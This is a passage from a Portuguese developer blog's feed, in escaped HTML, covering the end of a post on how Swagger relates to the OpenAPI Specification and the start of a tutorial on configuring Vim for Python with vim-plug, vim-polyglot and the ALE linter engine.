&lt;p&gt;Em janeiro de 2016, a &lt;em&gt;SmartBear Software&lt;/em&gt; renomeou a &lt;em&gt;Swagger Specification&lt;/em&gt; para &lt;em&gt;OpenAPI Specification&lt;/em&gt;.
Disponibilizando-a no &lt;em&gt;Github&lt;/em&gt; em &lt;a href=&quot;https://github.com/OAI/OpenAPI-Specification&quot; title=&quot;The OpenAPI Specification Repository&quot;&gt;github.com/OAI/OpenAPI-Specification&lt;/a&gt;,
e tornando-a assim em uma especificação &quot;vendor-neutral&quot;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/2abf22c3cf4464db47fafa95964dbada/c08c5/oai-avengers.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 44.79166666666667%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAJABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMEAf/EABQBAQAAAAAAAAAAAAAAAAAAAAH/2gAMAwEAAhADEAAAAZ9kWjgE/8QAGRAAAwEBAQAAAAAAAAAAAAAAAAECAzEy/9oACAEBAAEFAs7aVbUx9nyI/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAFhABAQEAAAAAAAAAAAAAAAAAARAR/9oACAEBAAY/AtIwn//EABoQAAICAwAAAAAAAAAAAAAAAAABEUEQMVH/2gAIAQEAAT8hlTDSIdpI4rw2ND//2gAMAwEAAgADAAAAEIfP/8QAFhEAAwAAAAAAAAAAAAAAAAAAARAx/9oACAEDAQE/EBF//8QAFhEAAwAAAAAAAAAAAAAAAAAAARAx/9oACAECAQE/EDV//8QAHhAAAgEDBQAAAAAAAAAAAAAAAREAITGxQVGBocH/2gAIAQEAAT8QUwQFd1RRMUaElXQfEuK2Rd5mh7PJln//2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Vingadores reunidos&amp;quot;&quot;
        title=&quot;A OAI é tipo os Avengers do mundo das APIs (bestbuy.com)&quot;
        src=&quot;/static/2abf22c3cf4464db47fafa95964dbada/c08c5/oai-avengers.jpg&quot;
        srcset=&quot;/static/2abf22c3cf4464db47fafa95964dbada/7809d/oai-avengers.jpg 192w,
/static/2abf22c3cf4464db47fafa95964dbada/4ecad/oai-avengers.jpg 384w,
/static/2abf22c3cf4464db47fafa95964dbada/c08c5/oai-avengers.jpg 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;A OAI é tipo os Avengers do mundo das APIs (bestbuy.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Isso tudo, claro, com supervisão do consórcio que a mesma &lt;em&gt;SmartBear&lt;/em&gt; ajudou a construir:
O &lt;a href=&quot;https://www.openapis.org/&quot; title=&quot;OAI Consortium&quot;&gt;&lt;em&gt;Open API Initiative&lt;/em&gt;&lt;/a&gt;. Que é também &quot;curador&quot;
do &lt;em&gt;OpenAPI Specification&lt;/em&gt; e tem como integrantes alguns gigantes da indústria como &lt;em&gt;Google&lt;/em&gt;, &lt;em&gt;IBM&lt;/em&gt;, &lt;em&gt;Microsoft&lt;/em&gt;,
e as próprias &lt;em&gt;MuleSoft&lt;/em&gt; e &lt;em&gt;SmartBear&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Swagger &amp;#x26; OpenAPI&lt;/h2&gt;
&lt;p&gt;Novamente, deixa eu corrigir o parágrafo do primeiro capítulo:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;As vantagens de utilizar &lt;em&gt;Swagger&lt;/em&gt; com &lt;em&gt;OpenAPI Spec&lt;/em&gt; são: Além de confiar
em uma especificação aberta e &lt;em&gt;vendor-neutral&lt;/em&gt;, você ainda conta com o poderoso ferramental
de código aberto provido pelo Swagger.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;O &lt;em&gt;Swagger&lt;/em&gt; &quot;gira em torno&quot; do &lt;em&gt;OpenAPI&lt;/em&gt;, provendo ferramentas para a modelagem e documentação.
É sem dúvida uma combinação espetacular, e não a toa é a mais famosa e eficiente no momento.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Confesso que eu tive problemas para entender o relacionamento entre &lt;em&gt;RAML&lt;/em&gt;, &lt;em&gt;Swagger&lt;/em&gt; e &lt;em&gt;OpenAPI&lt;/em&gt;,
principalmente por ter adotado o &lt;em&gt;RAML&lt;/em&gt; e não seguido o desenvolvimento do &lt;em&gt;Swagger&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Hoje, se você for usar &lt;em&gt;OpenAPI&lt;/em&gt; (você deveria) é improvável que não recorra ao &lt;em&gt;Swagger&lt;/em&gt;
para produzir os seus documentos. Portanto, não é incomum vermos muitos materiais onde esses
dois conceitos se misturam e aparentam ser um só.&lt;/p&gt;
&lt;p&gt;No próximo &lt;em&gt;post&lt;/em&gt; sobre &lt;em&gt;Swagger&lt;/em&gt;, vamos para uma abordagem mais prática, mostrando como utilizar
as ferramentas com &lt;em&gt;OpenAPI&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.caelum.com.br/modelando-apis-rest-com-swagger/&quot;&gt;Caelum - Modelando APIs REST com Swagger&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cloud.google.com/endpoints/docs/open-api-spec?hl=pt-br&quot;&gt;Google Cloud Platform - A especificação OpenAPI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.openapis.org/about&quot;&gt;Open API Initiative - About&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://swagger.io/&quot;&gt;Swagger - The world&apos;s most popular API tooling&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/OpenAPI_Specification&quot;&gt;Wikipedia - OpenAPI Specification&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Swagger_(software)&quot;&gt;Wikipedia - Swagger (software)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Vim para desenvolvimento em Python]]></title><description><![CDATA[Já mencionei as motivações de utilizar Vim
no "Vim: O meu editor favorito".
E embora eu já tenha "caído em tentação" e utilizado Atom
e…]]></description><link>https://klauslaube.com.br/2017/10/15/vim-para-desenvolvimento-python.html</link><guid isPermaLink="false">https://klauslaube.com.br/2017/10/15/vim-para-desenvolvimento-python.html</guid><pubDate>Sun, 15 Oct 2017 19:20:00 GMT</pubDate><content:encoded>&lt;p&gt;Já mencionei as motivações de utilizar &lt;a href=&quot;/tag/vim.html&quot; title=&quot;Leia mais sobre Vim&quot;&gt;&lt;em&gt;Vim&lt;/em&gt;&lt;/a&gt;
no &lt;a href=&quot;/2013/03/04/vim-o-meu-editor-favorito.html&quot; title=&quot;Leia o artigo completo&quot;&gt;&quot;Vim: O meu editor favorito&quot;&lt;/a&gt;.
E embora eu já tenha &quot;caído em tentação&quot; e utilizado &lt;a href=&quot;https://atom.io/&quot; title=&quot;A hackable text editor&quot;&gt;&lt;em&gt;Atom&lt;/em&gt;&lt;/a&gt;
e &lt;a href=&quot;http://spacemacs.org/&quot; title=&quot;The best editor is neither Emacs nor Vim, it&amp;#x27;s Emacs and Vim!&quot;&gt;&lt;em&gt;Spacemacs&lt;/em&gt;&lt;/a&gt;
(esse último é simplesmente fantástico), acabo sempre retornando ao &lt;em&gt;Vim&lt;/em&gt;. Principalmente
após o &lt;a href=&quot;https://www.reddit.com/r/linux/comments/52e4qo/vim_8_released/&quot; title=&quot;Vim 8 released&quot;&gt;lançamento da versão 8&lt;/a&gt;,
onde processamento assíncrono foi adicionado ao editor.&lt;/p&gt;
&lt;p&gt;Ter o &lt;em&gt;Vim&lt;/em&gt; configurado para trabalhar com projetos &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;
é em teoria algo simples (se você optar por usar extensões). O problema é que durante a seleção de ferramentas, alguns detalhes aparecem
e interferem na construção de um &lt;a href=&quot;/tag/ambiente-de-desenvolvimento.html&quot; title=&quot;Leia mais sobre ambiente de desenvolvimento&quot;&gt;ambiente de desenvolvimento&lt;/a&gt;
capaz de operar sem problemas.&lt;/p&gt;
&lt;p&gt;E como diz o poeta: O diabo está nos detalhes.&lt;/p&gt;
&lt;h2&gt;Packaging: vim-plug&lt;/h2&gt;
&lt;p&gt;Para começar é preciso selecionar um sistema de empacotamento, afim de facilitar a instalação e remoção de &lt;em&gt;plugins&lt;/em&gt;.
Embora o editor possua um &lt;a href=&quot;https://shapeshed.com/vim-packages/&quot; title=&quot;Vim: So long Pathogen, hello native package loading&quot;&gt;mecanismo &lt;em&gt;built-in&lt;/em&gt;&lt;/a&gt;
em sua versão mais recente, o &lt;a href=&quot;https://github.com/junegunn/vim-plug&quot; title=&quot;Minimalist Vim Plugin Manager &quot;&gt;&lt;em&gt;vim-plug&lt;/em&gt;&lt;/a&gt; mostra-se
muito (mas muito) mais simples de usar.&lt;/p&gt;
&lt;p&gt;Para instalar o &lt;em&gt;vim-plug&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;curl -fLo ~/.vim/autoload/plug.vim --create-dirs \
    https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O controle dos &lt;em&gt;plugins&lt;/em&gt; é feito através do &lt;code class=&quot;language-text&quot;&gt;.vimrc&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;vim&quot;&gt;&lt;pre class=&quot;language-vim&quot;&gt;&lt;code class=&quot;language-vim&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;&quot; ~/.vimrc&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;call&lt;/span&gt; plug#&lt;span class=&quot;token function&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;~/.vim/plugged&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;&quot; Lista de plugins&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;call&lt;/span&gt; plug#&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Uma vez que o &lt;em&gt;plugin&lt;/em&gt; desejado fora adicionado ao &lt;code class=&quot;language-text&quot;&gt;.vimrc&lt;/code&gt;, o comando
&lt;code class=&quot;language-text&quot;&gt;:PlugInstall&lt;/code&gt; fará o &lt;em&gt;download&lt;/em&gt; e instalação do pacote.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/9f24b66ee22959e8c24b0e028dc420df/6af66/vim-plug-install.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 101.5625%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABYlAAAWJQFJUiTwAAAEhUlEQVQ4yy1UWW8TZxT1ewopcRKPd3s8i+1Z7Fk8nsX2OI7jWGErNJCEoACBpH0JVOpLpf4ZVIldolKRWiFVLKnK8qtOz0z6cHU/L3O+c+45dzLv3/6N09M/8ebtX3j37j0+/nOKP968wevfX+P582d49eolnj19it8eP8bTJ0/w8sULfHjP/338gE+f/sWXL5/T+vr5E96+O0Xm+90D3N3dx/HOHu7e3MHx3h7u7+7hgOf9nQMcHvyIrY0N9CwLg8EQURTh4cOHePToUdpPTk5wwv7D8TF+/uVXZPymAqlWh1EooZkrQBdK0PJFqLk8FKEKpVBHqVBEo9GAyCoWixCEPAr8rlgqIZcT+FnAwsIC9vZvI7NpNlFVJJi9GnqjBpq6CM3mBbaMGi+S+Vu1VoMkSWhrGnRdR9dsw9CaUBURYr2GSqWK5WwWO7cIONVliKqK0dDCZBJgHPvouTbiUYxOp5MCtJpNiKII23EQ+D42YxPrAwOTyMB83IWpycguLWHz0nUCmgrqioLRyEpBXbeLMCRor5fOy7ZtMqiQqYImgROmTVXiJTKkhgi5UUO9njBcwnh2GZmZxduVM4Zray6GQ4fD76Hf7yEIQnieB63dhkRpCWOHLENPxzjqInA1+E4LbpdjK+exlgBODRWNpkqJdlq+75BZSEDvf4YWKpxhVU/YJ5f4GAdtytUxHZqIeu0UsFwSMN/6jgxpSjLDQdTBhAzDwOIcAz6cAA/YXSjJDA2bkluQZRmKTPNUGbIkQsgXkGdCFhe/xZVrN5Bx+INpNLE5H2B9PWANMZ3GBB3SpAmZ9mmMBlk8k5zM1HfaGPgmfLfNcxNDX4et17HL/GYkVUezpWJMdhtTjww7NMinNC8FG1C20emi3PXh0qjA72MSanS6g8hrIyRoR2O06hVshzYBFQ2qqtAIKwX0fQPdbjeVa6U9gklmIt1ttVpQFBkqJTfEKvKUu8oFKLCfWxZwk9nNqFoXCmUHKTObjGyCuGTnpgwTiWlcuCWmaaayPbsNp6PCZXlMSUupI18p45BmZUwn4KCllGEc04iQ4Q0cxsVOs5gAJkY0pEYamT5jNA40zEYdjEP9rAc6ZFXElkVAw/H5QINhPmMYj5JtoNNjn2AcvB+kzNJNsc8uGXB2I19j6TxrMNoSKmXuu2Ig01BbnA1zGNtpsPt9GwE3JQz7BOvDIki9LqYbYvGN4zBOfVtN85eA9RnsHmU7Jlc4AaxRikRJ/b5Bhw04tgabD3o9l2eLe+2gyvkkLwGVhiRdoiENxqhWKaJeTaqEGjdFKNeQkVsKPLK6eDHCcC3C+uYMo8kG4vU5xtM5rF4IvetC69jwojHC0YSjCTGfxVxT7rznom0yBUxLXlSRGcQejo62cWv/MrYf/ISNnSOMrt7B+PoDxNfusx9h7do9+LNtBPM9jK7c4ee7mN04xOT6PUSXDuBv3cbw6iEkd4RMtliCQOplyhb4wrywmsNKqYILuSwWc0s4t5rF+dwKLhQELOZX0/O51RUsLGfTOjsv45uVZZwvFvAfZ+aYG6lO2fsAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Exemplo de utilização do vim-plug&amp;quot;&quot;
        title=&quot;Exemplo de utilização do vim-plug&quot;
        src=&quot;/static/9f24b66ee22959e8c24b0e028dc420df/6af66/vim-plug-install.png&quot;
        srcset=&quot;/static/9f24b66ee22959e8c24b0e028dc420df/8514f/vim-plug-install.png 192w,
/static/9f24b66ee22959e8c24b0e028dc420df/804b2/vim-plug-install.png 384w,
/static/9f24b66ee22959e8c24b0e028dc420df/6af66/vim-plug-install.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo de utilização do vim-plug&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Syntax highlight: vim-polyglot&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Syntax highlighting&lt;/em&gt; é um dos recursos mais básicos (e úteis) que qualquer editor de texto
possa oferecer. É no mínimo curioso o quanto a disposição de cores facilita na leitura
de códigos-fonte.&lt;/p&gt;
&lt;p&gt;O &lt;a href=&quot;https://github.com/sheerun/vim-polyglot&quot; title=&quot;A solid language pack for Vim&quot;&gt;&lt;em&gt;vim-polyglot&lt;/em&gt;&lt;/a&gt; suporta
dezenas de linguagens (incluindo &lt;em&gt;Python&lt;/em&gt;, claro), e o próprio projeto alega que a sua utilização
não prejudica o &lt;em&gt;startup time&lt;/em&gt; do editor. Logo, uma excelente opção caso o usuário não queira perder
tempo fazendo &lt;em&gt;setup&lt;/em&gt; desse tipo de &lt;em&gt;feature&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;vim&quot;&gt;&lt;pre class=&quot;language-vim&quot;&gt;&lt;code class=&quot;language-vim&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;&quot; ~/.vimrc&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;call&lt;/span&gt; plug#&lt;span class=&quot;token function&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;~/.vim/plugged&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;&quot; Lista de plugins&lt;/span&gt;
Plug &lt;span class=&quot;token string&quot;&gt;&apos;sheerun/vim-polyglot&apos;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;call&lt;/span&gt; plug#&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Para uma rápida instalação, execute &lt;code class=&quot;language-text&quot;&gt;:source $MYVIMRC&lt;/code&gt; (para atualizar o &lt;code class=&quot;language-text&quot;&gt;.vimrc&lt;/code&gt; em memória) e
em seguida &lt;code class=&quot;language-text&quot;&gt;:PlugInstall&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Lint: ALE + flake8 + isort + yapf&lt;/h2&gt;
&lt;p&gt;O &lt;a href=&quot;https://github.com/w0rp/ale&quot; title=&quot;Asynchronous Lint Engine for Vim&quot;&gt;&lt;em&gt;Asynchronous Lint Engine&lt;/em&gt;&lt;/a&gt; é um desses
projetos que foram feitos para tirar o máximo da nova versão do &lt;em&gt;Vim&lt;/em&gt;. A sua função é na realidade
servir de interface assíncrona para &lt;em&gt;linters&lt;/em&gt; de diferentes linguagens, resultando em validações
do código-fonte sem travar a &lt;em&gt;UI&lt;/em&gt; do editor.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/9916737feab659a53aca66452830c933/6af66/vim-ale-linters.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 72.91666666666666%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAABYlAAAWJQFJUiTwAAAB8klEQVQ4y41TDbOaQAzk///AznTa+lpFPg4OEblP0O0maPtsO306s0OIudwmuxQ5Z5THCudpgvxutytxw/X6HluutxYpJcbQ3HPNVleM4xk+BC1c1ivObtE/Vj3wHjeEELEs66/Df0LOFLu3PULMSCz0IWHXeBxMgGcupGekvCKm5a+8gvWZPYq6MXwRdisPLCj7hOGSeeOKlTlhlF+E9CjO0wWcgIlFb2+HGXPImFzm+BmRl0hxuh9KHzUsqxp2GLdRyLRuWhw6j2+1x5fKa/OFlwn7/0EulmmK2Xk4H7bbmTyyWdkFNg042oCaqGxE1Xv0Y+BKIuyUtlXkfzA0XY+6NTCd1eW2p4RqiGyW0I0e+y7CnILmas1H5gPaMWuNuELUFcGUYT+cNNhEWdHwkLCencNldnCMLzP36pn3eYuZV0gdn9NlpkMiRRQfTrNaxNEys6dtDgafPn/Fvqxg+gGdPaHlFK2dKJhjbNEYy4kGjaWmMT2GcVLBCkuGV1pfGMoeDsZxj05tIwZe1bCP5yN+htaRne7wwM/OcRxVikofufRqSKqu7DTeFXwFusPd2w8dKd4birolGcouxZv5Bcs8oA1bzk9f67iRjL63Qcfuxk1VEeLVptpQjH2sG4oSleVAj41z4pdCeBn7t3E/gpD6CXPUjTEdIh06AAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Lista de linters suportados pelo ALE&amp;quot;&quot;
        title=&quot;Lista de linters suportados pelo ALE&quot;
        src=&quot;/static/9916737feab659a53aca66452830c933/6af66/vim-ale-linters.png&quot;
        srcset=&quot;/static/9916737feab659a53aca66452830c933/8514f/vim-ale-linters.png 192w,
/static/9916737feab659a53aca66452830c933/804b2/vim-ale-linters.png 384w,
/static/9916737feab659a53aca66452830c933/6af66/vim-ale-linters.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Lista de linters suportados pelo ALE&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Uma &quot;traquinagem&quot; que ajuda no uso do &lt;em&gt;ALE&lt;/em&gt; é utilizar o parâmetro &lt;code class=&quot;language-text&quot;&gt;do&lt;/code&gt;, do &lt;em&gt;vim-plug&lt;/em&gt;, tornando
mais fácil a instalação dos utilitários necessários para que o &lt;em&gt;plugin&lt;/em&gt; funcione:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;vim&quot;&gt;&lt;pre class=&quot;language-vim&quot;&gt;&lt;code class=&quot;language-vim&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;&quot; ~/.vimrc&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

Plug &lt;span class=&quot;token string&quot;&gt;&apos;w0rp/ale&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;do&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;pip install flake8 isort yapf&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;call&lt;/span&gt; plug#&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Importante notar que se o &lt;em&gt;Vim&lt;/em&gt; for aberto dentro de um &lt;a href=&quot;/tag/virtualenv.html&quot; title=&quot;Leia mais sobre Virtualenv&quot;&gt;&lt;em&gt;virtualenv&lt;/em&gt;&lt;/a&gt;,
os pacotes &lt;em&gt;Python&lt;/em&gt; serão instalados no ambiente virtual ativo. Para contornar esse problema,
e tornar essas ferramentas &quot;globais&quot;, é possível utilizar o &lt;a href=&quot;https://medium.com/@henriquebastos/the-definitive-guide-to-setup-my-python-workspace-628d68552e14&quot; title=&quot;The definitive guide to setup my Python workspace&quot;&gt;&lt;em&gt;pyenv&lt;/em&gt;&lt;/a&gt;.
Executar &lt;code class=&quot;language-text&quot;&gt;:PlugInstall!&lt;/code&gt; para cada &lt;em&gt;virtualenv&lt;/em&gt; pode ser uma opção também.&lt;/p&gt;
&lt;p&gt;Caso algo não esteja funcionando, o &lt;code class=&quot;language-text&quot;&gt;:ALEInfo&lt;/code&gt; dará dicas de onde o problema está escondido.&lt;/p&gt;
&lt;h3&gt;Linter: flake8&lt;/h3&gt;
&lt;p&gt;O &lt;a href=&quot;http://flake8.pycqa.org/en/latest/&quot; title=&quot;Flake8: Your Tool For Style Guide Enforcement&quot;&gt;&lt;em&gt;flake8&lt;/em&gt;&lt;/a&gt; assegura
que o código escrito esteja dentro das convenções da &lt;a href=&quot;/2011/08/26/assegure-qualidade-seu-codigo-python-pep.html&quot; title=&quot;Leia mais sobre PEP8&quot;&gt;&lt;em&gt;PEP8&lt;/em&gt;&lt;/a&gt;.
Alguns alertas aparecerão na tela do editor quando alguma violação acontecer:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/1310bd90a3fd94756e8c482c3ceabcae/6af66/vim-ale-flake8.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 63.020833333333336%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABYlAAAWJQFJUiTwAAADHUlEQVQ4yz2S628UZRTGN35X6Q3b7s7OzmVnZ2dmL+xuw87S7V67hu2FVrBR0traSktQqFzW1ATBRI3G4BeNnwENTUAUKdikIaKCoPGf+nlmYv3w5HnPmfd9znPOmciD7z7n8b0bPNr+nnvXb/Dj9ZvcvnmL7R922L77kFt37nP7p1+4u7PHnZ93ub/7iJ3dPX79/SmP/3jKb0/+5Nlff/Ps+XP2nvxDxPAyWIKJxmHqrbJwmXpzjIqfpTaRpzmRpS3xVHecVzs+fjnP8EiU0ZhCVIkTiwdQGTo4xOzCCpGYniQej9Gse9Rrroi4lMs2tZpHo56hWvWoVBx836ZYtHBcA8vWyeaSmEmNkWgsFBwYHKQ7f1IcphziaoK4oaJqqlQNqsdI6JJLSHVFCR8pqoomuYQW5FV0Qwt5NBaXb4lQ8LU3lok4hk1ONynkNUp+mvF2iSPNAu3JDu1OBy+bw06nMZK6FFNFXAnb3eeg7UCwr3+At1bXxaFlochFS9EwDZO064YCtuNIa3bIqbSNKm4DpwECkX0EovuCS6sbRFzLDR0WSzr5kkWllaVYsTnkpxhvlWg0W2QCl44bQtX0/53tQ5EZ9g0dZHH2GBHTTqHGE6QUnaRp4Way4tAJXbqeJ3EGRziTzcpCXDTDCDcbzFQJWKDKuV82v1YfI6IpSfThOLodRUvFMFy5ZI5ie0HrWUaVBC8dGAzxYsB9r/By/7Cw4D/uGxjhhQPDnDriEfnk8gxn35nk5HSb02vHObWxwLkLq/S2znD+4jorawu8uTjP0soJlpZPcHlrmq8+m+PrL49z7VPha6/z7RdzfFRNsunniSwu+GyenmRjVfB2h/XlFu+fmeHCezP0Nue4eHZWzrNcOneMd9en+PB8lyu9Ka5+M